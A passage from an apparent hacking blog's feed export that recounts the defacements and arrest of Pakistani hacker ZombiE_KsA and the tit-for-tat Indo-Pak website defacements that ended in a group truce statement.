Crackers.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-dv7bmePnIao/TsIrno_YItI/AAAAAAAAAh4/FnjNP17EDAE/s1600/bh.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5675146440458379986&quot; src=&quot;http://3.bp.blogspot.com/-dv7bmePnIao/TsIrno_YItI/AAAAAAAAAh4/FnjNP17EDAE/s200/bh.jpg&quot; style=&quot;cursor: pointer; display: block; height: 200px; margin: 0px auto 10px; text-align: center; width: 199px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;ZombiE_KsA: &lt;/span&gt;&lt;span class=&quot;usertitle&quot; style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Founder of PAKbugs-Crew&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;usertitle&quot; style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Jawad Ehsan&lt;/span&gt;, a.k.a &lt;span style=&quot;font-weight: bold;&quot;&gt;HAmza&lt;/span&gt;, a.k.a &lt;span style=&quot;font-weight: bold;&quot;&gt;ZombiE_KsA&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; is one of the most wanted black hat hackers or cyber criminals, who had founded the &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Pakbugs.com&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;. He was basically Saudi Arabia based and was charged with 169 website defacements. In the year 2009, he hacked the &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;GOOGLE Morocco&lt;/span&gt;&lt;span class=&quot;postdate old&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;date&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;and claimed that was the biggest defacement ever from pakistani hackers.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-TRrV0nQ7UDc/TfYDz2k7ROI/AAAAAAAAAd4/aC1-pXHbA20/s1600/google.co.ma.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5617681774549877986&quot; src=&quot;http://3.bp.blogspot.com/-TRrV0nQ7UDc/TfYDz2k7ROI/AAAAAAAAAd4/aC1-pXHbA20/s400/google.co.ma.png&quot; style=&quot;cursor: pointer; display: block; height: 164px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Mirror:&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;a href=&quot;http://www.zone-h.org/mirror/id/8858514&quot; style=&quot;color: #ff6600;&quot;&gt;&lt;span style=&quot;color: #ff6600;&quot;&gt;http://www.zone-h.org/mirror/id/8858514&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;National Response Centre For Cyber Crimes:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://www.nr3c.gov.pk/&quot; style=&quot;color: #ff6600;&quot;&gt;NR3C&lt;/a&gt; (FIA) is providing single point of contact for all local and foreign  organization for all matters related to cyber crimes. It is imparting  trainings and related security education to persons of  government/semi-government and private sector organizations.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-e6wVnYMHGZA/TfYFrA9sCAI/AAAAAAAAAeA/S1zEEiy28G4/s1600/nr3c.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5617683821742524418&quot; src=&quot;http://1.bp.blogspot.com/-e6wVnYMHGZA/TfYFrA9sCAI/AAAAAAAAAeA/S1zEEiy28G4/s400/nr3c.png&quot; style=&quot;cursor: pointer; display: block; height: 129px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;7th January, 2010:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Mr. Aamir Attaa wrote a topic on How to Register Complaint with &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;FIA&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; (Cyber Crime Wing) on a &lt;a href=&quot;http://propakistani.pk/2010/01/07/how-to-register-complaint-with-fia-cyber-crime-wing&quot; style=&quot;color: #ff6600;&quot;&gt;Pakistani Telecom and IT News website&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-x1PA0qG7Qz0/TfYHwv2JVyI/AAAAAAAAAeI/RAPlLn-l-iM/s1600/propakistani.pk.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5617686119249958690&quot; src=&quot;http://4.bp.blogspot.com/-x1PA0qG7Qz0/TfYHwv2JVyI/AAAAAAAAAeI/RAPlLn-l-iM/s400/propakistani.pk.png&quot; style=&quot;cursor: pointer; display: block; height: 312px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;1st July, 2010:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;usertitle&quot; style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;ZombiE_KsA&lt;/span&gt; announced on his &lt;a href=&quot;http://www.pakbugs.com/special-defacements/39072-www-nr3c-gov-pk-cyber-fia-hacked.html&quot; style=&quot;color: #ff6600;&quot;&gt;website&lt;/a&gt; that &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Federal Investigation Department official website, which he had found on &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;propakistani.pk&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;, was owned by &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Pakbugs&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-csPpWaZhmSo/TfY4ru95L7I/AAAAAAAAAe4/rM0l_GQTEnc/s1600/www.pakbugs.com.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5617739909184434098&quot; src=&quot;http://4.bp.blogspot.com/-csPpWaZhmSo/TfY4ru95L7I/AAAAAAAAAe4/rM0l_GQTEnc/s400/www.pakbugs.com.png&quot; style=&quot;cursor: pointer; display: block; height: 120px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Mirror:&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;a href=&quot;http://zone-h.org/mirror/id/10093092&quot; rel=&quot;nofollow&quot; style=&quot;color: #ff6600;&quot; target=&quot;_blank&quot;&gt;http://zone-h.org/mirror/id/10093092&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-dTN_Kr5iwTY/TfYLn2fygCI/AAAAAAAAAeY/amGIHTSb3u8/s1600/zonehmirrors.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5617690364462923810&quot; src=&quot;http://2.bp.blogspot.com/-dTN_Kr5iwTY/TfYLn2fygCI/AAAAAAAAAeY/amGIHTSb3u8/s400/zonehmirrors.png&quot; style=&quot;cursor: pointer; display: block; height: 220px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;8th July, 2010:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://propakistani.pk/2010/07/08/hacker-pakbugs-arrested-fia/&quot; style=&quot;color: #ff6600;&quot;&gt;Pakistani Telecom and IT News website&lt;/a&gt; announced that Pakbugs hacker’s group was Arrested, including  &lt;/span&gt;&lt;span class=&quot;usertitle&quot; style=&quot;font-size: small;&quot;&gt;ZombiE_KsA&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-nAVjeAJAqTo/TfYMhGERqAI/AAAAAAAAAeg/-fFEIq7iZEQ/s1600/propakistani.pk-2.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5617691347895035906&quot; src=&quot;http://2.bp.blogspot.com/-nAVjeAJAqTo/TfYMhGERqAI/AAAAAAAAAeg/-fFEIq7iZEQ/s400/propakistani.pk-2.png&quot; style=&quot;cursor: pointer; display: block; height: 310px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Today:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;usertitle&quot; style=&quot;font-size: small;&quot;&gt;ZombiE_KsA is active on &lt;a href=&quot;http://www.pakbugs.com/members/zombie_ksa.html&quot; style=&quot;color: #ff6600;&quot;&gt;Pakbugs&lt;/a&gt;, even more surprisingly he is working for &lt;span style=&quot;font-weight: bold;&quot;&gt;NR3C&lt;/span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-6S26MJZvZ2o/TjEdFN17CoI/AAAAAAAAAfI/4Mx1Ma_Wvi4/s1600/2.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5634316584269580930&quot; src=&quot;http://3.bp.blogspot.com/-6S26MJZvZ2o/TjEdFN17CoI/AAAAAAAAAfI/4Mx1Ma_Wvi4/s400/2.png&quot; style=&quot;cursor: pointer; display: block; height: 99px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Hope this time&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;FIA/ NR3C&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; is in right, talented hand :)  What do you think guys ?&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/2803967091485223816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/06/most-wanted-black-hat.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/2803967091485223816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/2803967091485223816'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/06/most-wanted-black-hat.html' title='THE MOST WANTED BLACK HAT'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-dv7bmePnIao/TsIrno_YItI/AAAAAAAAAh4/FnjNP17EDAE/s72-c/bh.jpg" height="72" width="72"/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5760947711733445481</id><published>2011-06-09T02:52:00.000-07:00</published><updated>2013-06-09T11:29:00.099-07:00</updated><title type='text'>INDO-PAK CYBER WAR</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;What is Cyber War?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;line-height: 20px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;Today the war between two nations is fought on cyber space where the bullets are replaced by bytes and the soldiers are replaced by hackers. Cyber security experts say that the cyber war between Indian and Pakistani hackers has grown manifold in the last few years.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul style=&quot;color: #ff6600;&quot;&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;17th Nov. 2008:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 20px;&quot;&gt;&lt;b&gt;OGRA&lt;/b&gt; (Oil and Gas Regulatory Authority, Pakistan) website was defaced by a group of Indian hackers, called &lt;b&gt;HMG&lt;/b&gt; (Hindu Militant Guard).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-iGqYnZh0_l8/TfChxEpz9DI/AAAAAAAAAdY/kFGyJ3OVTqs/s1600/1.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5616166599765783602&quot; src=&quot;http://2.bp.blogspot.com/-iGqYnZh0_l8/TfChxEpz9DI/AAAAAAAAAdY/kFGyJ3OVTqs/s400/1.png&quot; style=&quot;cursor: pointer; display: block; height: 284px; margin: 0px auto 10px; text-align: left; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: #ff6600;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;26th Nov, 2008:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In response, a pakistani group of hackers, called &lt;b&gt;PCA&lt;/b&gt; (Pakistan Cyber Army) hacked the &lt;b&gt;ONGC&lt;/b&gt; (Oil and Natural Gas Corporation Limited, India) website.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-6QezjBJL2Qg/TfCpAIE6zsI/AAAAAAAAAdg/qXh-mHP6mCY/s1600/2.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5616174554964217538&quot; src=&quot;http://1.bp.blogspot.com/-6QezjBJL2Qg/TfCpAIE6zsI/AAAAAAAAAdg/qXh-mHP6mCY/s400/2.png&quot; style=&quot;cursor: pointer; display: block; height: 215px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In a message posted briefly on the ONGC website, PCA said the hacking was carried out in retaliation for the hacking of the OGRA website.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #ffcc00; font-size: small; font-style: italic;&quot;&gt;Back off, go read some course books, else you will lose both, your name and this game. We will literally smoke your doors off like other groups did before.&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&quot; said the message from PCA.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The fight between &lt;b&gt;Jawad Ehsan/ HAmza/ ZombiE_KsA&lt;/b&gt; (founder of PAKBUGS.COM) and &lt;b&gt;r45c4l&lt;/b&gt; (leader of Indian Cyber Warriors, ICW, ANDHRAHACKERS.COM) took the higher magnitude.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;J&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;oint Statement of PCA and ZombiE_KsA: &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;color: #33ffff; font-style: italic;&quot;&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Joint statement of PCA (Pakistan Cyber Army) and Zombie_ksa (pakbugs crew) comes into friendly terms with ICW (Indian Cyber Warriors, HMG)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;After a meeting, all of the three groups agreed not do deface each other’s websites. It all happened when people from these groups realized that there is no use of such defacements and they should be instead involved in constructive work. Apart from that , poor defaced organizations suffer from these activities.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;PCA, zombie_ksa and ICW is not responsible for the activities performed by other groups from both countries&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Me r45c4l, on the behalf of ICW likes to make a statement that after a series of defacing each other’s government websites, we as well as PCA and PakBugs feels that this is not going to solve any problem and the things will only gets worse. the guys from ICW, PCA and pakBugs are all very talented and instead of harming each other we can help each other to tighten the securities of our sites and servers.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;So after a discussion with all ICW,PCA and PakBugs members, we would like to announce that we all quite this here and we will not hack each other’s sites. From now on if any one hacks any sites/servers or claims the hack to be done by either ICW or PCA or PakBugs, we will not be responsible for this.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;We all r sorry for the trouble and inconvenience caused by all of us.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;With regards,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Team PCA&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Team PakBugs&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Team ICW&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Time passed, but the war did not stop. Some of them are arrested, some are still invisible. The defacements are still in progress. So website administrators, please tune up your security, and make sure that you give tough time to hackers rather than just a minute to deface them.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 